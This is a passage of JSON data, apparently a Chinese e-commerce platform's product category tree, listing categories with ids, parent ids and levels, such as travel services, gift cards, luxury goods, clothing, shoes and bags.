a":null,"is_get_child":true},{"id":21072,"name":"学历/职业资格考试","parent_cid":20077,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21129,"name":"学习卡","parent_cid":20077,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21283,"name":"语言培训","parent_cid":20077,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21282,"name":"智能教育","parent_cid":20077,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21671,"name":"国内景区门票","parent_cid":20103,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21680,"name":"国内套票联票(含港澳台) 票+票","parent_cid":20103,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21677,"name":"境内周边游","parent_cid":20103,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21706,"name":"境外电话卡/流量包/wifi租赁","parent_cid":20105,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21692,"name":"旅游定制","parent_cid":20105,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21693,"name":"旅游服务","parent_cid":20105,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21701,"name":"旅游签证/入台证","parent_cid":20105,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21705,"name":"旅游优惠券/会员卡","parent_cid":20105,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21704,"name":"目的地玩乐","parent_cid":20105,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21686,"name":"用车/地面公共交通","parent_cid":20105,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21681,"name":"邮轮/游船","parent_cid":20105,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21691,"name":"自由行/跟团游","parent_cid":20105,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":31879,"name":"代订酒店套餐服务","parent_cid":20106,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21712,"name":"酒店餐饮及服务","parent_cid":20106,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21707,"name":"酒店客栈套餐","parent_cid":20106,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32633,"name":"酒店优惠券/会员卡","parent_cid":20106,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21722,"name":"超市/便民店卡","parent_cid":20112,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21726,"name":"付费会员","parent_cid":20112,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21730,"name":"购物消费卡","parent_cid":20112,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21723,"name":"商场/百货购物卡","parent_cid":20112,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21724,"name":"食品卡","parent_cid":20112,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21725,"name":"购物券/礼品卡","parent_cid":20113,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21731,"name":"美食代金券","parent_cid":20113,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21721,"name":"面包/月饼/蛋糕","parent_cid":20113,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21732,"name":"食品提货券","parent_cid":20113,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21780,"name":"3C数码服务","parent_cid":20117,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":22110,"name":"便民服务","parent_cid":20117,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":22139,"name":"餐饮美食卡券","parent_cid":20117,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":22134,"name":"多媒体服务","parent_cid":20117,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":22114,"name":"房屋维修","parent_cid":20117,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":22145,"name":"服装服饰售后服务","parent_cid":20117,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":22133,"name":"广告制作/传统印刷/打印/复印","parent_cid":20117,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":22100,"name":"婚庆/摄影/摄像服务","parent_cid":20117,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":22137,"name":"家电相关服务","parent_cid":20117,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":22130,"name":"家居配送/安装/维修","parent_cid":20117,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":22143,"name":"家居装修施工/设计","parent_cid":20117,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":22112,"name":"家政服务","parent_cid":20117,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":22113,"name":"家装服务","parent_cid":20117,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":22115,"name":"汽车服务","parent_cid":20117,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":22097,"name":"亲子","parent_cid":20117,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":22111,"name":"商务服务","parent_cid":20117,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":22135,"name":"文字类服务","parent_cid":20117,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":22109,"name":"休闲娱乐","parent_cid":20117,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":22118,"name":"运动健身","parent_cid":20117,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":22131,"name":"在线清洗/洗衣券","parent_cid":20117,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":31921,"name":"新房","parent_cid":31920,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":31950,"name":"电影","parent_cid":31928,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":31944,"name":"体育赛事 ","parent_cid":31928,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":31932,"name":"演出","parent_cid":31928,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":31929,"name":"展览/活动 ","parent_cid":31928,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32639,"name":"健康体检","parent_cid":32625,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32432,"name":"奢品服饰","parent_cid":32431,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32439,"name":"奢品家居","parent_cid":32431,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":33710,"name":"奢品美妆","parent_cid":32431,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32438,"name":"奢品配饰","parent_cid":32431,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32435,"name":"奢品箱包","parent_cid":32431,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32440,"name":"奢品香水/香薰蜡烛/身体护理","parent_cid":32431,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32434,"name":"奢品鞋靴","parent_cid":32431,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32437,"name":"奢品钟表","parent_cid":32431,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32436,"name":"奢品珠宝","parent_cid":32431,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32433,"name":"运动/户外","parent_cid":32431,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32441,"name":"其他奢品","parent_cid":32431,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34001,"name":"汽配安装","parent_cid":33711,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33031,"name":"售后服务","parent_cid":33711,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31917,"name":"新车一口价","parent_cid":34091,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31918,"name":"新车优惠券","parent_cid":34091,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33030,"name":"二手车抵扣券","parent_cid":34092,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34000,"name":"二手车订金","parent_cid":34092,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22425,"name":"婚纱","parent_cid":20215,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22427,"name":"礼服/晚装","parent_cid":20215,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22426,"name":"旗袍","parent_cid":20215,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22371,"name":"打底裤","parent_cid":20180,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22369,"name":"棉裤/羽绒裤","parent_cid":20180,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22372,"name":"牛仔裤","parent_cid":20180,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22370,"name":"休闲裤","parent_cid":20180,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22402,"name":"西装裤/正装裤","parent_cid":20180,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22438,"name":"汉服","parent_cid":20217,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22444,"name":"民族服装/舞台装","parent_cid":20217,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22439,"name":"唐装/中式服装","parent_cid":20217,"level":3,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":22448,"name":"酒店工作制服","parent_cid":20218,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22442,"name":"时尚套装","parent_cid":20218,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22445,"name":"休闲运动套装","parent_cid":20218,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22441,"name":"学生校服","parent_cid":20218,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22440,"name":"医护制服","parent_cid":20218,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22447,"name":"职业女裤套装","parent_cid":20218,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22446,"name":"职业女裙套装","parent_cid":20218,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22443,"name":"其它制服/套装","parent_cid":20218,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22482,"name":"汉服","parent_cid":20254,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22481,"name":"唐装","parent_cid":20254,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22493,"name":"中山装","parent_cid":20254,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22409,"name":"工装制服","parent_cid":20192,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22410,"name":"时尚套装","parent_cid":20192,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22419,"name":"休闲运动套装","parent_cid":20192,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22411,"name":"西服上装","parent_cid":20200,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22412,"name":"西服套装","parent_cid":20200,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22362,"name":"西裤","parent_cid":20200,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27201,"name":"保暖背心","parent_cid":21232,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27070,"name":"保暖裤","parent_cid":21232,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27199,"name":"保暖上装","parent_cid":21232,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27200,"name":"保暖套装","parent_cid":21232,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26277,"name":"男士内裤","parent_cid":20943,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26276,"name":"女士内裤","parent_cid":20943,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27012,"name":"插片/胸垫","parent_cid":21233,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26951,"name":"搭扣","parent_cid":21233,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26952,"name":"肩带","parent_cid":21233,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26950,"name":"乳贴","parent_cid":21233,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26953,"name":"抹胸","parent_cid":21234,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26954,"name":"文胸","parent_cid":21234,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27202,"name":"文胸套装","parent_cid":21234,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26168,"name":"睡裤/家居裤","parent_cid":20944,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26158,"name":"睡袍/浴袍","parent_cid":20944,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26135,"name":"睡裙","parent_cid":20944,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26175,"name":"睡衣/家居服套装","parent_cid":20944,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26278,"name":"睡衣上装","parent_cid":20944,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26814,"name":"塑身分体套装","parent_cid":21088,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26807,"name":"塑身连体衣","parent_cid":21088,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26806,"name":"塑身美体裤","parent_cid":21088,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26801,"name":"塑身上衣","parent_cid":21088,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26802,"name":"塑身腰封/腰夹","parent_cid":21088,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26209,"name":"打底袜","parent_cid":20946,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26137,"name":"短袜","parent_cid":20946,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26211,"name":"连体袜","parent_cid":20946,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26210,"name":"美腿袜","parent_cid":20946,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26136,"name":"丝袜","parent_cid":20946,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33281,"name":"防晒服","parent_cid":32657,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33283,"name":"防晒口罩","parent_cid":32657,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33284,"name":"防晒裤","parent_cid":32657,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33282,"name":"防晒帽","parent_cid":32657,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33285,"name":"防晒披肩","parent_cid":32657,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33286,"name":"防晒手套","parent_cid":32657,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21514,"name":"防晒袖套","parent_cid":32657,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28037,"name":"皇冠配饰","parent_cid":21522,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28035,"name":"婚纱裙撑","parent_cid":21522,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28034,"name":"婚纱手套","parent_cid":21522,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28033,"name":"头纱","parent_cid":21522,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28036,"name":"新娘头饰","parent_cid":21522,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27951,"name":"假领","parent_cid":21516,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27952,"name":"领带","parent_cid":21516,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27953,"name":"领结","parent_cid":21516,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27954,"name":"领针","parent_cid":21516,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27947,"name":"多件套","parent_cid":21510,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27946,"name":"二件套","parent_cid":21510,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27945,"name":"三件套","parent_cid":21510,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27944,"name":"披肩","parent_cid":21508,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27942,"name":"丝巾","parent_cid":21508,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27943,"name":"围巾","parent_cid":21508,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27948,"name":"包配件","parent_cid":21511,"level":3,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":27949,"name":"皮带配件","parent_cid":21511,"level":3,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":27950,"name":"鞋子配件","parent_cid":21511,"level":3,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":22450,"name":"布鞋","parent_cid":20225,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22449,"name":"单鞋","parent_cid":20225,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22459,"name":"乐福鞋/豆豆鞋","parent_cid":20225,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22455,"name":"穆勒鞋","parent_cid":20225,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22454,"name":"牛津鞋","parent_cid":20225,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22462,"name":"时尚休闲鞋","parent_cid":20225,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22453,"name":"松糕/摇摇鞋","parent_cid":20225,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22460,"name":"休闲板鞋","parent_cid":20225,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22463,"name":"方根高跟鞋","parent_cid":20228,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22456,"name":"坡跟鞋","parent_cid":20228,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22464,"name":"细跟高跟鞋","parent_cid":20228,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22373,"name":"洞洞鞋","parent_cid":20184,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22420,"name":"时尚休闲沙滩鞋","parent_cid":20184,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22405,"name":"时装凉鞋","parent_cid":20184,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22376,"name":"包头拖","parent_cid":20185,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22375,"name":"人字拖","parent_cid":20185,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22374,"name":"一字拖","parent_cid":20185,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22400,"name":"弹力靴/袜靴","parent_cid":20187,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22335,"name":"短靴","parent_cid":20187,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22378,"name":"马丁靴","parent_cid":20187,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22406,"name":"切尔西靴","parent_cid":20187,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22416,"name":"时尚雪地靴","parent_cid":20187,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22377,"name":"时装靴","parent_cid":20187,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22452,"name":"布鞋","parent_cid":20235,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22451,"name":"单鞋","parent_cid":20235,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22465,"name":"时尚休闲鞋","parent_cid":20235,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22457,"name":"网面鞋","parent_cid":20235,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22461,"name":"休闲板鞋","parent_cid":20235,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22458,"name":"工装鞋","parent_cid":20237,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22387,"name":"洞洞鞋","parent_cid":20202,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22386,"name":"沙滩鞋","parent_cid":20202,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22404,"name":"乐福鞋/豆豆鞋","parent_cid":20204,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22391,"name":"牛津鞋","parent_cid":20204,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22413,"name":"休闲皮鞋","parent_cid":20204,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22390,"name":"包头拖","parent_cid":20203,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22389,"name":"人字拖","parent_cid":20203,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22388,"name":"一字拖","parent_cid":20203,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22393,"name":"马丁靴","parent_cid":20206,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22414,"name":"切尔西靴","parent_cid":20206,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22417,"name":"时尚雪地靴","parent_cid":20206,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22392,"name":"时装靴","parent_cid":20206,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22500,"name":"登山包","parent_cid":20256,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22499,"name":"电脑包","parent_cid":20256,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22495,"name":"拉杆包","parent_cid":20256,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22496,"name":"旅行包","parent_cid":20256,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22512,"name":"旅行配件","parent_cid":20256,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22497,"name":"旅行箱","parent_cid":20256,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22483,"name":"书包","parent_cid":20256,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22519,"name":"休闲运动包","parent_cid":20256,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22485,"name":"腰包/胸包","parent_cid":20256,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22518,"name":"专业相机包","parent_cid":20256,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22487,"name":"单肩/斜挎包","parent_cid":20258,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22489,"name":"卡包/名片夹/钥匙包","parent_cid":20258,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22514,"name":"男士钱包","parent_cid":20258,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22513,"name":"男士手包","parent_cid":20258,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22521,"name":"男士双肩包","parent_cid":20258,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22522,"name":"男士钥匙包","parent_cid":20258,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22520,"name":"商务公文包","parent_cid":20258,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22509,"name":"手机包","parent_cid":20258,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22510,"name":"证件包","parent_cid":20258,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22502,"name":"单肩包","parent_cid":20257,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"e